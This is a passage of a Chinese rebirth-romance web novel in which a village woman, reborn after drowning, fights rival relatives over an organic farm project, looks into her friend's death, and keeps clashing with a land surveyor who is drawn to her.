她把土地改造方案敲定以后,别的事情都是她找人干的,后来两人闹僵。
纪年出现,倒是帮了她不少忙。
纪景东那时气昏头,骂她被男色冲昏头,见色忘义。
她跟纪年什么都没有,只是觉得多个纪景东,除了多些麻烦,什么都帮助不了她。
纪景东家跟纪年家隔代仇,早些年分家分地时,差点闹出人命。
后来亲兄弟之间,没了往来。
血脉从来不是连接感情的必要条件,人心才是。
不然她也不会变成有父有母的孤儿。
她怕的从来不是纪景东不同意她来做有机农场的项目。
而是纪景东产生恻隐之心,东营村那么大,每个人都自私自利,唯利是图,算计着自身利益,那项目想要启动,想要稳步发展下去,不可能。
每家都想着多分一点,就真能多分吗?
…
“爸你跟她说这些干什么?”纪景东挣脱控制住他的人,“哪怕她这边断了销路,我也可以重新找人,她不过是想独吞项目,把所有人蹬掉,自己挣钱,你还真以为她是东营村大善人。”
江言月讥笑起来,甩手离开,临走前瞧向纪景州,狠狠瞪着他,咬牙切齿说:“那祝你们成功,我不想做什么大善人,祝你们这些狼心狗肺的人,聚在一起发大财。”
纪景州头皮一紧,盯着那萧瑟的背影,不知道说什么。听半晌,听不出什么所以然,火气倒是攒了不少,他从公司过来做检测什么都没问。
反正这对他来说,不过是顺手的事。
那曾想出师不利,被当流氓骂就算了。
还没有解释的机会。
活了28年,没听过这么多骂他的词语。
顿时好气又好笑。
怎么会有女人,长得甜美可人,一开口就变成骂街的泼妇,他真是开了眼。
纪成宇望着小儿子问:“你们认识吗?”
纪景州无奈一笑,叹气回:“
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不算认识,昨天晚上出来透气,被当流氓骂了。”
纪景东愤然开口:“她也不撒泡尿照照自己,以为谁都能看得上她。”
“她刚才为什么会那么激动?”纪景州没忍住问,“这不是我们家的土地吗?”
所有人面面相窥,低下头,没回他。
纪景州想到老姜那天说他过来抢饭碗,砸场子也没细问。
大哥跟他提了许久过来帮忙,他也是趁着这次休年假的功夫过来。
现在不知道被无端卷入什么利益斗争中,他低头看着碎一地的玻璃,心情很不好。
他们不说清楚,这事他不会做。
江言月裤兜衣兜摸遍,才想起来手机在维修店。
王婶走到她旁边站着,见她不开心问:“怎么样小月?”
江言月扫了一眼身后的男人问:“婶子他是什么人?”
王婶眯起眼睛瞧上几眼:“他……耶……对了……他是纪景东弟弟,叫什么纪景州……对就是叫纪景州,他爸妈离婚的时候才3岁,现在都长那么高了,我差点没认出来。”
江言月眯眼再次看过去,他跟纪景东一点都不像,纪景东没他高,又黑又胖。他穿着蓝色牛仔裤,白色polo,称得那张斯文秀气的脸更白。
完全就是一个小白脸。
江言月小声问王婶:“他做什么的?”
“好像做什么土地检测。”
这下江言月信他不是个流氓,不过肯定是帮凶,昨晚也真是过来这边看地。
她没有半分愧疚,只觉得碍眼,视线交汇时,她瞪了他一眼,跨上摩托车,踩油门离开。
…
艳阳下的车影,快如流星,纪景州有种想抓住车影的错觉。
纪景州心口一堵,他没那么在意江言月骂他那些话。只是潜意识里,总觉得检测这事不对。
东营村他是想回来一趟,看一下老人也好,平时在市里很难见到人。
3岁母亲就带他离开东营村,这些年又不常回来,有时候也不知道自己记挂什么。
人消失在村口公路拐角,纪景州收回视线,长叹一口气,这女人处理事情,就不能好好沟通。
要是家里人,真过分的话,他也不是帮亲不帮理的人。
江言月没回家,返回城里拿手机。
刚到东湖,遇到回来的纪年。
纪年停车,降下车窗,一脸着急问:“你没事吧?”
“我手机你带没有?”
“带了一个,另一个没修好。”纪年从扶手箱拿出手机给她看。
是秦悦离开前,坏掉的老手机。
花钱的,果然比免费的修起来更快。
可惜卡没在里面,用不了。
…
纪年停好车,带她在东湖散步。
她把想法都告诉纪年。
纪年说先看纪景东那边怎么办,村里几十户人,纪景东他没把握说服,别家的话,他还是有把握说服的。
江言月相信纪年,听了纪年的安排。
两人走到桥边时,她停下脚步,目光沿着那天摩托车失控时走出的邪路巡视一番。
此时没路,灌木茂密,景观树粗壮高达几十米,倒是个藏东西的好地方!
二百是不是看到了什么?
纪年顺着看过去问:“看什么?”
江言月不答反问:“你在东营村那么久,有没有听说,东湖淹死过人?”
5. 第5章
正值下午两点,烈日高悬。
香樟树围满整个东湖,阳光给湖面度了色,波光粼粼,一眼看过去,让人有种湖水很浅的错觉。
只有江言月知道,这湖深不见底。
仿佛又回到那个窒息溺水的深夜。
身上冷汗直冒,她连忙收回视线,目光落在岸边几米处的灌木时,下意识停下细看半晌。
她一直以为那里有个水泥墩子,结果没有。
她骑车冲过去那天,感觉有什么东西在哪里,白花花的,以为是水泥墩子,车子一闪而过,没看清。
二百真看到什么东西了?
江言月皱起眉头。
“你怎么这样问?”纪年挑眉,一脸不解盯着她,“我长那么大,可没听说东湖淹死过人,再说东营村这边的人,水性很好,哪怕掉下去也不至于淹死吧!”
那她就是第一个淹死在东湖的人。
小时候她溺过水,长大游泳都没学过。
江言月苦笑,要是她通水性,也不至于淹死。
堤岸就在溺水处30米左右处,游过去就可以活着。
转念一想,现在不也活着,有啥可纠结的。
纪年见她不答,追问:“到底怎么了?你怎么突然问这种问题!”
“没事,随口问问罢了。”也不可能告诉纪年,她淹死又重生。
上次同一时间段,没有纪景东带人过来捣乱,很奇怪。
人家重生都是回到过去,趋吉避凶,她呢,将来未知,摸着石头过河。
不知道未来哪一刻又会死,怎么死。
不要还没等到她建造有机农场成功,就一命呜呼。
那跟纪景东争了又有何用。
这样一想,她都不生气了,甚至都想支持纪景东。
要不是纪景东是个唯利是图的小人,项目给他又如何。
他品行差劲,做生意想要成大事不可能,最后结果,大概是带着全村人一起人财两空,更别说共同富裕。
…
纪年开车跟她一起回县城。
纪年去拉货的路上,担心她出事又赶回来。
能出什么事。
东营村那么多人,还能放任纪景东打她不成。
纪景东还不一定能打过她,蛮力她还是有一点的。
她问纪年,关于纪景州的事情。
纪年告诉她,纪景州从小跟母亲长大,不常回来,离婚以后,他母亲带着他去市里,没过几年,在市里找到个有钱人,结婚生娃,有个妹妹。
这边他亲爸也再婚了,也有个妹妹。
江言月从来没见过他这边的妹妹,一直以为纪景东结婚生子,他爸就没再生。
纪年说这边的妹妹在县里上学,不太回村里,她见不到正常。
她纳闷纪年怎么会知道那么多事情,两家人不是没往来吗?
纪年回她,他姐嫁在市里,经常跟纪景州他们有往来。
纪景州人也很不错,长得出挑,是个十足的绅士。
江言月没接话。
长得不错她承认。
绅士的话,没发现。
追问的心情也没了。
真是好人,又怎么会助纣为虐。
纪景东不是什么好人,她只相信人以群分。
…
到县城,纪年安心去拉货。
她安心骑车去取手机。
她先去移动公司,重新办了一张手机卡。
手机修好,不能让手机空着。
把没卖完的菜送了一些给秦悦父母。
秦悦父母留吃饭,她说有事,拒了!
一切处理妥当,她骑车回了村。
原本她家是独家村,前些年跟东营村合并了。
合并以后,村里有什么红白事,都是外婆跑过来帮忙。
不忍心让外婆一个人孤苦无依呆家里,大学毕业以后,她放弃城里工作机会回村。
同届同学早已步步高升,她在村里,籍籍无名。
她从未后悔。
只要外婆平安康健,一切都是最好的安排。
她只怕自己突然离开,徒留外婆一人孤苦无依。
乱七八糟的念头冒出来,比项目被夺,还让人惆怅。
江言月一晃神,摩托差点又朝不远处的人影撞过去。
她调转方向,从那人身边惊险越过。
对方往公路边上退了两步,站定。
她紧急刹车,车惯性跑了好几米。
“对不起…我…”江言月提心吊胆,扭头道歉,看清人后没说下去。
纪景州沉着脸,眼底不带半点温度锁着她,“你开车能不能注意一点!”
“关你屁事…谁…叫你没事喜欢杵在公路边上,吓人!”江言月知道自己多少有点无理取闹,可是跟人吵架落下风,只有被人欺负的份。
纪景州无语。
她这蛮横不讲理的德性,实在让他没有继续讲下去的欲望。
江言月见他不说话,踩着油门离开了。
车驶下山坡时,暗自松一口气,幸好人没事。
开摩托车是得注意力集中点,又不是没死过,不能再找死。
江言月隔老远,就听到狗叫。
一路加速,推开院子大门。
二百赶着鸡,在院里打转。
她不是拴着狗的吗?
这臭狗要翻天。
“二百!”江言月怒吼。
二百摇着尾巴朝她奔来。
外婆从厨房出来,手里拿着菜刀,冲她打招呼:“回来了!”
“嗯!”她指着狗问,“外婆这狗不听话吗?”
“听话,听话得很,我叫它帮我看着鸡,鸡老是去厨房啄菜。”外婆看着二百,眼角笑出褶子。
那就是外婆放的狗。
江言月一改自己居高临下的态度,俯身摸着狗头,小声道:“你乖点,我就不拴着你,你在家好好陪着外婆。”
二百叫两声,表示抗议。
抗议无效。
从车上拿下狗粮,还有狗玩具。
她趁着时间早,给二百用木板搭了个狗窝。
弄好已经晚上9点。
还没来得及洗澡。
手机在卧室狂叫。
她快步进卧室,一屁蹲坐在木床上,悠哉晃动双腿,按下接听键问纪年:“怎么了?”
纪年:“我听我妈说,景州那边不帮忙做土地检测了。”
“嗯。”
“你不用担心项目会被抢了,”纪年顿了一下,“不过你要不要先找人过来测一下,差不多的话,也该抓紧时间先启动项目,你说是不是?”
江言月胸口一堵,没应话,每次都是重生3个月后会死,她想缓一缓,过3个月再说。
还不一定死了就能重生,说不定这次一死,死透。
项目还没落地,她撒手人寰,留下烂摊子,不好!
老天也不知道在跟她开什么玩笑。
江言月无奈回:“缓一缓吧,我先看一下村里其
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他人的态度。”
“这也好。”
同纪年随便瞎聊几句挂断电话。
江言月平和的心态,顿时烦躁起来。
如果注定是一场3个月的死局。
那她建造东营村有机农场的梦,永远不可能实现。
万事俱备,她是个短命鬼。
如今这一切又有什么意思。
还不如丢下一切,混吃等死。
这世界那么大,她也没怎么好好看过。
回村三年,她整天骑车,来回在县城到村里的柏油路上穿梭,啥也没留下。
她不甘心。
一切都只差临门一脚,哪怕她死,项目也不能放弃。
她毕生愿望就是能让村里富起来,让农民吃上健康的平价蔬菜。
而不是整天只能被那些高科技的垃圾食品毒害。
她幻想有一天,东营村有机农场一战成名,她带着全村人上电视,把“吃上健康平价菜”的理念,推广到全国各地,愿望就实现了。
二百一口咬在她裤腿上,拉她回现实。
江言月跳下床,弯腰抚摸它的头,指责:“你说,我两次惨死,是不是因为你?你认不认?”
二百低声呜咽,狗眼委屈巴巴望着她。
她轻轻拍了一下二百的头,叹了一口气:“你要是人多好,我跟你一起重生,还有个依靠。结果你是一条狗,啥也不懂,只能带我去死。”
“旺……”
二百一叫,逗笑江言月,她当时慌不择路,太在意二百才会出事,当初要是冷静一点,也不至于双双丧命,不能全赖狗。
回院子,铺好狗窝,让二百睡进去,她换下衣服去洗澡。
脑子里各种念头冒出来。
如果她死了,回不来,奶奶怎么办?
项目怎么办?
秦悦父母怎么办?
……
什么也办不了。
江言月拖着疲惫的身体。
一头栽在床上。
脚刚踢起,还没落床板,便僵在半空。
不能吵外婆,这时候外婆估计已经睡熟。
她轻放下腿,拿起柜台上的老手机。
进入相册,一张张仔细翻看,秦悦跟她拍的合照。
照片里的秦悦,身穿粉色裙子,面色红润。没有半点病态,精神比她好不知几倍。
她那时抗拒拍照,丧着一张脸,扫兴得很。
照片九宫格,全是双人照,没有一张笑脸。
现在心里只剩悔恨。
早知道离别那么仓促,她天天陪着秦悦去玩都可以。
可是真正的离别,从来都是悄无声息的。
鼻头一酸,江言月有点想哭,本来就没有几个真心爱她的人,老天还要狠心带走,烦死了!
她退出相册。
登录微信。
里面还有几条未读消息。
最新的消息,来自纪年。
两条都安慰她不用担心,遇到事还有他。
江言月心底一暖,估计刚才打电话,她语气不好,纪年担心她。
回了一条消息过去宽慰纪年。
她消息下拉。
有一条未读消息。
是秦悦的,前段时间她手机坏了。
没来得及去修,竟然还有秦悦消息。
她欣喜打开,笑容僵在脸上,头皮阵阵发麻。
【江小月!我害怕!】
消息发出时间,秦悦死的前一天晚上。
6. 第6章
秦悦死前几天。
手机刚好坏掉。
3年多的老手机,经常卡顿,她索性换了个新的。
那几天太忙,没时间联系秦悦。
还有因为秦悦口中,“不谈恋爱会死”的说辞,让她很无语。
她当时一点不相信。
为什么秦悦知道她会死?
对啊,为什么会知道!
莫非秦悦能预知未来?
还是说秦悦来自未来。
一个个念头冒出来,江言月脑袋乱如浆糊。
进入秦悦朋友圈,QQ空间,什么都看不到。
江言月没了头绪。
潜意识里,江言月从来不相信秦悦死于意外。
盯着信息发呆半晌,拨通了秦悦前男友电话。
电话铃声都快结束,那边不耐烦接起电话,“干嘛?”
“秦悦在的时候,有没有联系过你?”
“你别烦我,我不欠她什么,别把她的死赖在我身上。”
江言月耐着性子问:“真没联系过你?”
那边没了声。
在她以为电话即将挂断的时候。
王宇开口:“那疯女人,说她害怕,问我能不能回去陪她!当初铁了心要分手的是她,以为只要随便低头,我就会不计前嫌去找她,真可笑,这世界女人多的是,我可不缺女人……”
江言月挂断电话,她可不觉得秦悦是为了复合,可能真害怕,别无办法,找不到人倾诉。
王宇还有脸说什么不计前嫌!
放屁。
当初是他很别人暧昧不清,两人才分手。
她真该死,要是那几天多关心一下秦悦,说不定也不至于天人永隔。
秦悦到底害怕什么?
一夜失眠。
江言月一大早骑摩托,回县城。
刚打开门,二百就挤出门。
不论怎么喊,二百都往前面跑。
她没办法,只好带着狗一起回县城。
一路赶到秦悦家。
秦叔叔去上班了。
秦阿姨给开的门,看到是她,瘪着嘴,眼泪就要冒出来。
她推开门抱住秦阿姨。
秦阿姨嘶声痛哭,江言月轻轻拍着秦阿姨的背,安慰她。
茶几上放着一个一米多的大相框。
上面有秦悦从小到大的照片。
“阿姨,节哀顺变,人死不能复生。”江言月也不知道能说什么,现在心里也不是滋味。
秦阿姨擦干眼泪,垂眸瞧了她一眼,喃喃问:“小月你吃饭没有?”
她刚想说吃了,又口不应心回:“没吃,今天特意过来吃阿姨做的饭!”
秦阿姨擦干眼泪,忙着去做饭。
一起进门的二百早已轻车熟路在屋里溜达几圈,最后站在房间门口没动。
二百像是知道什么一样。
江言月打开房门,房间布局跟秦悦在的时候一模一样。
人家都说死人的东西留着不吉利。
秦悦父母却不信这些。
当初外公过世,那些人一股脑把所有东西收了丢掉。
外婆拦住,才没丢成功,也不知道那些几十年回来探一次亲的人,怕什么,怕外公把他们带走吗?
他们这样狼心狗肺,外公才不想要。
这些年那几个狼心狗肺活的好好的。
她那个亲生母亲,外公过世以后,隔10天半个月会发善心,打电话过来,嘘寒问暖。
她10次会接一次,还是因为跟外婆在一起。
听到声音就犯恶心。
她从来不信什么天道轮回,好人有好报。
真有什么报应,为什么那些心肠歹毒,弃儿弃母的人能活的肆意洒脱。
爱己,才是积德。
自己都不爱,一味牺牲讨好,不过是消福罢了。
她爱外婆,爱所有值得她爱的人。可前提是爱好自己,照顾好身体,才会让这份爱意延续更久。
拉开抽屉,里面是秦悦的粉色手机,没电了。
她拿到客厅充电,返回房间,打开手机,什么可疑东西都没发现。
是不是秦悦当时感觉心脏不舒服害怕!
江言月没了头绪。
吃了早饭,她驾车带着秦阿姨去附近公园散心。
两人一狗,玩得不亦乐乎,短暂忘记烦恼。
江言月回家没忍住问秦阿姨,秦悦死前有没有不对劲的地方。
秦阿姨回,没啥不对劲,她回来住了两天,就回她租的房子里。
房子秦悦死后退了,东西都收了回来。
秦悦父母知道秦悦有心脏病,平时也是宠着她,让她随心所欲。
没想到,分开没两天,警察就给他们打电话……
秦阿姨泣不成声。
江言月没问下去,安慰半晌,秦阿姨才没哭。
秦叔叔回来,一起吃了晚饭,她赶着回了村。
二老要留宿,她说有事情。
本来早就该回去,收菜。
纪年今天没拉货,去给她办好了。
骑车回东营村的路上。
江言月过东湖桥时,遇到纪年跟纪景州在东湖岸边散步。
两人身高相当,年纪相当。
长相也有几分相似。
只是纪年偏爱暗色系衣服,纪景州偏爱浅色系服装。
一眼望去,纪年穿着深色套装,小麦色皮肤,五官硬朗,男人味十足;纪景州浅色系休闲套装,五官立体,皮肤白净,斯文儒雅。
可惜只是表象,纪年才是那个斯文的人,纪景州大概率是个伪君子。
车刚过桥。
江言月刹车,犹豫要不要下去打个招呼,一不留神,二百从踏板上跳了下去。
直奔纪年。
纪年听到声响,回头看她,一脸笑意。
江言月目光却落在旁边的纪景州身上,皱起眉头。
二百猛冲过去,半路拐了个弯,直扑纪景州怀里。
纪景州吓得连退几步,二百有所收敛,摇着尾巴一脸谄媚,围在他周围打转。
纪景州手足无措,抬眸看她。
什么德性——“见色起意?”
可明明是公狗。
这狗江言月不想要了。
江言月踩下油门,声音一响,二百闻声看向她,慌张冲过来。
哪怕狗迟疑一秒,江言月都不会要狗。
她不耐烦停车,等狗。
纪年招手:“言月,过来,给你商量一点事。”
她扫了一眼旁边纪景州,迟疑片刻过去,狗追着屁股后面,亦步亦趋,她仰起头,鼻孔朝天,懒得看它一眼。
纪年低头看狗,笑着问:“你什么时候,买的狗?”
“我去世那个朋友的狗。”江言月没绕弯子。
二百过纪景州脚边,来回踱步,左闻又闻。
这男人抹了蜜,喷10瓶香水了?
二百这么舔。
气味江言月是闻不到,只想离这人远点。
纪景州看向她,求救一般。
“它不咬人!”她丢一颗定心丸过去。
二百变本加厉,蹭得更厉害。
不咬人也是骚扰,江言月看不下去,呵斥:“二百,你还不滚过来,你是不是疯了!”
二百不甘愿垂头,过她旁边。
纪年被她逗笑:“这狗好像真能听得懂你说话。”
“什么事?不说我走了。”
纪年敛住笑意,看向纪景州,同她介绍:“我侄子,纪景州,地质专家,你们昨天应该见过。”
真是哪壶不该提哪壶。
纪景州微微低头,伸手同她打招呼:“昨天不好意思,我不知道那些事情,如果知道我不会帮我哥。”
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江言月没抬手,冷冷一笑,挑眉盯着他,反问:“是吗?”
纪景州尴尬放下手。
纪年打破僵局:“言月,他跟纪景东不一样,要不让景州帮你做完检测,然后你再同纪景东去谈?”
“你倒是信他!”江言月没忍住质问纪年,“谁知道表面衣冠楚楚的人,背地里不是禽兽,检测的事情我不急,用不着你替我操心。”
江言月一顿输出,也不看人,带着狗走了。
留下大眼瞪小眼的两个男人。
纪年安慰,“她就这脾气,比较难相信人。”
纪景州注意力全在那条狗身上,看得越久,心里那股说不明白的感觉,越强烈。
一开始狗扑过来时,他有些害怕,须臾之间便没了那种恐惧感,甚至它那么亲昵追着,有点想蹲下来摸一下它,这奇葩的名字,听起来也不觉得稀奇。
纪景州点头:“反正我没问题,至于要不要帮忙,看她。”
纪年:“嗯。”
他本来觉得江言月性格冲,脾气大。听小叔说了有关她那些事迹以后,有所改观。
现在觉得她很勇敢的,脾气不好,倒是事实摆在眼前。
在村里跟那么多人打交道,脾气好可能也没啥用。
有时候不是讲道理,就会有人愿意听。
只是纪景州想不通,明明一直被误会的人是他,她气性还挺大。
她也不能草木皆兵,遇到流氓以后,把所有人都当流氓吧!
纪景州无奈一笑。
“笑什么?”纪年问。
“小叔你这朋友……”纪景州想说脾气很犟,没说下去。
“她怎么了?好看?”纪年眉头微皱,看他一眼,“你们单位就没有好看的女孩吗?”
纪景州回头,锁着纪年眉眼,“小叔你喜欢她?”
纪年苦笑,“对啊,你看你都看出来了,她却不知道。”
纪景州倾身扶着栏杆,望着对岸,眼神却没有聚焦,漫不经心说:“喜欢说出来才好,让别人看的话,可能这辈子看不出来。”
这话说完,他胸口莫名一堵。
“我怕说出口,朋友都做不了。”纪年望着骑车离开的江言月,“你不了解她,她固执得很。”
纪景州盯着湖面上岸口不远处出神,没应话,这湖,让人有一种跳下去的冲动。
纪年追问:“景州,你呢?没有喜欢的人吗?我听你姑说,你现在也是单身!”
“没有。”纪景州如实回答,他不知道自己这些年在等什么,那些女人,总让他感觉不对。
他经常做梦,梦里他一直追着一个女人,每次追着她跑好久,好不容易抓住,却看不清她的脸。
谁做梦追着女人屁股后面跑,梦里真有女人,出现,不该是两人在一起做那些以启齿的事情吗?
他呢!有受虐倾向?
只顾追着女人屁股后面跑,醒来失恋一般,心里无比酸涩怅然。
他都怀疑自己单身太久,疯了!
前几次试图将就,去相亲,那些女孩也还不错,又觉得哪里都不对。
摩托车油门声忽然增大,纪景州有些恍惚,下意识看过去,江言月骑车拐个弯,彻底消失在视野。
他心里一空,这女人蛮不讲理,可是他恨不起来。
甚至有点想见她,哪怕是被骂,小叔讲了那些关于她的事情,还让他有点心疼她的遭遇。
他目光从小叔脸上一扫而过,心底生出一丝亏欠感。
他无法解释自己这变态心理,觉得很是羞耻。
回家第一天,吃完饭,出去逛路,下意识去江言月骑车必经的那个山坡呆着。
明明那里什么都没有。
要说想见人的话,第一次去那里,他可不知道江言月会从那里路过。
纪景州觉得他应该是被江言月骂糊涂了。
才会产生这些奇怪的心理。
7. 第7章
江言月回家第一件事,决定打电话去给大学同学梁靖,问一下具体情况。
梁靖大学是土地资源管理专业,这些年有机农场的事情多亏有他帮忙,否则也不能进行那么顺利。
她高考报志愿选了农学专业,考上大学,她唯一的心结是没有人照顾外公外婆。
他们将近80岁的老人,亲生女儿不闻不问,她不可能也做那种忘恩负义的人。
毕业以后,她回到他们身边。
原本他们是独家村,家里土地面积也近20亩,家里两个老人种地,太辛苦。
离家远点的种上果树,成了果园。
她回来的时候把地势平坦的地块,果树砍了,等待后续开发农场,只留下靠山地势坡度大的一片橘子林。
种地时节,地多忙得要死。
第一年为省钱,她请人帮忙,后来卖菜挣了些钱,就花钱雇人。
她现在手头有50万,想要做大资金根本不够。
肯定得去银行申请助农贷款。
现在还没到种植时节,土地检测和申请贷款都有点早。
贷款申请下来,土质不合格也白搭。
他们这群脑袋里装屎的人,只知道抢项目,屁都不懂。
这季度的菜,还不知道能不能卖出去。
土地检测刚做不久,打电话给梁婧也无用。
手机丢床上,江言月倒在床上,闭上眼睛。
脑子里一时冒出,二百在东湖追着纪景州那谄媚的画面。
胸口那团火蹭蹭蹭上去。
以前跟秦悦在一起,都没见二百那么舔,永远养不熟的臭狗。
“啪——啪——”门被敲响,外面传来外婆声音,“小月,吃饭了!”
“好!”江言月翻身爬起。
她一肚子鬼火,吃完饭,才给二百上狗粮。
狗粮倒进碗里,二百见她不发话,没动口。
“你在家里挺规矩的,见了帅哥就发颠!”江言月指着它的脑袋念叨。
二百呜呜叫两声,委屈巴巴。
江言月冷哼一声,站起来,冷声命令:“吃饭!”
厨房收掉吃不完的剩菜剩饭,倒在鸡槽里,兜里手机直叫。
梁靖的电话。
今天这电话是躲不过,她不打,梁靖打,按下接听键,声音传来。
“你又跟别人吵架了?”梁靖语气有点着急。
“我从不吵架。”江言月抠着指甲,漫不经心回。
“你说这话,你信吗?”秦靖笑出声。
“你是不是打电话来吵架的?”
“我才不跟你吵,只是我们单位同事,今天给我打电话,我才知道,你又跟别人吵架了。”
梁靖说的应该是纪景州。
纪景州是他同事。
说来也是好笑,她跑去他们单位那么多次,从来没见过纪景州,却在东营村遇到了。
“他不是坏人,估计也是被家里人利用,你别盯着别人不放,我跟他说别插手,他同意了。”
江言月不识好歹反驳:“谁要你多管闲事,他只要敢插手,我绝对不会放过他。”
“行行行,怪我多嘴,”梁靖认怂让着她,“你要检测的话,随时叫我,不过可能要等两三个月。”
听到三个月,江言月心情瞬间低落,都不知道那时候她还能不能活着,没忍住叹了口气。
梁靖问:“怎么了?”
江言月沉默片刻,实话实说:“梁靖——咱们那么好的朋友,如果我三个月以后不在了,你能不能帮我把农场的事情进行下去?”
“江言月你怕不怕疯了吧,说什么胡话!”
她没应话,胸口堵得慌。
“你是不是生病了?”梁靖问,“前两天我见你,你不是还生龙活虎,红光满面的吗?”
江言月被他逗笑,认识这么多年,也没见他那么认真夸过她,唯一一次夸她,说她比男人还强壮。
“没病,只是天有不测风云,我给你打个预防针。”
梁靖长舒一口气,“你真该去看一下脑子,一天净想没用的东西。”
“没事挂了。”
梁靖急着叫:“别挂,我有事跟你说。”
江言月凝神听着。
“我快结婚了,你到时候记得过来参加。”
胸口骤然一紧,手机从指尖滑下,她猛然抓住——
“你在听吗?”
“知道了!”
江言月电话挂断,盯着手机发愣,仿佛能从屏幕里看到那张白净斯文的脸,他嘴角总是挂着笑意,稍不注意,就会腻进那双灼灼的桃花眼里。
【挂那么快干嘛,我还没跟你说完。】微信消息弹出来。
江言月低叹一口气,收起那些不切实际的想法,回消息过去。
【我随时都可以,只是你别跑国外,否则你得报销车费。】
哪怕梁靖不结婚,他们也不可能。
家境悬殊不说。
梁靖不喜欢她,不能说不喜欢,是只把她当成朋友,一个婚礼需要在场的朋友。
大门口蹲上,半个小时,直至夜幕降临,江言月转回屋里。
爱情这种东西,本来就不切实际,稍微遇到点分歧,都会分崩离析。
大学里她见过太多情侣,开始如胶似漆,难舍难分;最后相互斥责,不欢而散。
这一生,谁也无法真正靠住,只有自己。
秦悦的事情没了头绪。
江言月也没时间像侦探一般去调查。
最近3个月,农忙阶段。
她忙着找销路。
纪景东没过来捣乱。
梁靖婚期也没定,江言月想看一下他的女朋友,想知道什么样的女人可以入得了梁靖的眼睛。
一切处理妥当。
离3个月只差最后3天。
纪年约她去城里玩。
江言月哪里也不想去,只想陪着外婆,混吃等死。
她旁敲侧击地跟外婆说,如果将来她不在身边,一定不要太难过。
外婆问她说什么胡话。
她找补,说怕以后结婚,嫁得远,没机会陪着外婆。
外婆眼眶红透,说是没事,嫁人远,也可以电话联系。
她不知道怎么回。
…
秦悦父母打电话给她,让她去家里玩。
二老什么都没说,可她知道,第二天是秦悦生日。
江言月不好推辞,一大早起来,喂好鸡,喂好猪。
骑车带着二百去了县城。
她一路心惊胆战,今天是3个月的最后一天,生怕一不注意,一命呜呼。
一直到傍晚,人狗平安。
江言月骑车回村的路上,大老远看到熟人——纪景州。
他带着一个20岁左右的女生在公路边上散步,没注意到她。
江言月放慢车速,二百一双狗眼也盯着别人不放。
“等下你要是敢叛变跑下去,追着别人屁股后面跑,你就别想上我的车。”江言月小声警告。
二百低下头。
纪景州过来做什么?
又过来抢项目?
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一不留神,那两人已经近在迟尺。
江言月踩下刹车,停在跟前,两人吓愣。
两双一个模子刻出来的杏眼,不约而同盯着她,嘴张着,失了语。
江言月也不知道停车干嘛,直接问他过来抢项目,又不太厚道。
纪景州身旁的女生应该是他妹妹纪依,两人五官长得太像。
“二哥你们认识?”纪依先开口问。
纪景州迅速打量一眼江言月,她今天穿了条蓝色牛仔裤,显得那双腿更修长,白色衬衣扎在裤腰里,腰线毕露。
跟平时那粗矿随性的风格有些出入,这样很适合她,很好看。
他不知道怎么回小妹纪依,也不敢看江言月。
纪依看了他们一眼,笑起来:“你们是老情人?”
江言月皱眉,瞥了纪依一眼。
纪景州尴尬开口:“别胡说,她是隔壁村江爷爷的外孙女。”
纪依撅起嘴点头,一副了然于心的姿态:“哪又怎样?又不妨碍你们谈恋爱。”
啥玩意,江言月头大,二百乘机跳下车,又过去围着纪景州打转。
纪景州这次没躲,纪依看了一眼,一脸坏笑:“难怪你县城不呆,回来就往村里跑,等我告诉爸爸,昨天他还在为你的婚姻大事愁眉苦脸,没想到你们藏那么深。”
江言月无语,纪家真是没一个正常人,那曾想纪依看起来聪明伶俐,实则是的十足恋爱脑。
她停趟车,纪依不知想法歪到哪边去了,纪景州也是,一个大男人,话都说不明白。
江言月也不想多费口舌,直接问:“我过来问你,是不是又想跟我抢项目?”
“不是……”
“不是就行。”江言月打断,踩下油门走了。
纪景州傻眼,狗还在闻他的脚,还没等他提醒,狗抬头,飞快拔腿追出去。
不远处江言月骑车下了坡,没有停下来的意思。
纪景州无奈一笑,这狗他第二次见,他又没脚气,老是追着他脚闻做什么。
“二哥你们真没什么?”纪依不死心问。
“你这小脑袋瓜,一天想什么呢!”纪景州指尖,轻戳纪依额头,“以后不准胡说八道。”
纪依嘟嘴:“那你刚才偷看别人。”
“没有……你看错了!”纪景州扭头,快步往家方向走。
“明明就有……”
他只是扫了一眼江言月,也被纪依捕捉到了。她当初就应该去报警校,而不是学什么新闻专业做记者。
他是想见江言月,真的见到人,又不太敢看。
上次东湖见面以后,他总是做梦,梦到江言月。
以前他做梦追着一女人跑,回去以后变成江言月。
明明几次遇见这个女人,他们就没好好说过一句话。
他想,他应该是疯了。
现在心脏还在不受控跳着。
这就是喜欢一个人的表现?
该死。
凭什么喜欢。
自己是不是有受虐倾向。
不可能喜欢。
想见就是喜欢吗?
不一定。
可能是上次被大哥利用,觉得心里有愧。
才想回来看看人怎么样罢了。
可胸口那颗越发失控的心跳,像是在对他无声反驳。
纪景州顿住,眼底诧异一闪而过,下意识转向身后,目光落在江言月停车的地方,应该是被吓到了!
对,吓到了!
这样都会喜欢,他都觉得自己是个变态。
8. 第8章
江言月下坡10米不到,踩下刹车。
二百借机,跳上摩托车脚踏板。
那纪景州除了长得好看些,有什么值得看的地方。
何况它一条狗懂什么好看难看,莫名其妙。
她看在秦悦面子上,不然早就撂下狗,让它跑回家,或者任由它跟着它的香饽饽——纪景州。
二百什么癖好,又不认识纪景州。
要不是秦悦从小把二百养大,她都怀疑,秦悦是不是抢了人家狗。
江言月也不想跟二百一般见识,见狗坐稳,驱车离开。
纪景州不是过来抢项目就行。
只要今天安全度过,她就可以甩开膀子,启动新征程。
别人都在期待未来,江言月期待今天别死。
回家后,一直躺床上,等着午夜12点的闹钟响起。
她甚至怕,睡着睡着猝死,永远无法睁眼。
闹钟一响,江言月长舒一口气,安心闭上眼睛。
一觉睡到太阳高照,外婆开门声吵醒了她。
江言月睁眼,揉了揉眼睛,翻身爬起来问:“怎么了外婆?”
“我以为你去县里了!”外婆拿着扫把,站在门口没进来。
“没去,这两天没什么菜,休息几天。”
“那你继续睡吧!”外婆作势要拉上门。
江言月制止:“外婆我不睡了,不用关门。”
“还早呢!”外婆拉上门,一点缝隙都没留。
屋里顿时伸手不见五指,她拉开窗帘,让阳光照进来。
脸上多了几分暖意,她那颗消沉的心,又活了过来。
终于危险解除了,真得好好庆祝一下。
江言月翻出手机,找出纪年电话拨过去。
“怎么了?”纪年问。
“晚上请你吃饭,要不要过来?”
纪年没有立刻答应,沉吟不语。
纪年不会是生她没同他去城里游玩的气吧?
什么时候纪年变得那么小气。
江言月自知理亏,循循善诱:“吃大餐,给你杀只老母鸡。”
纪年笑出声:“你不会以为我是在等你的老母鸡,才没答应你吧?”
“不然哩!”
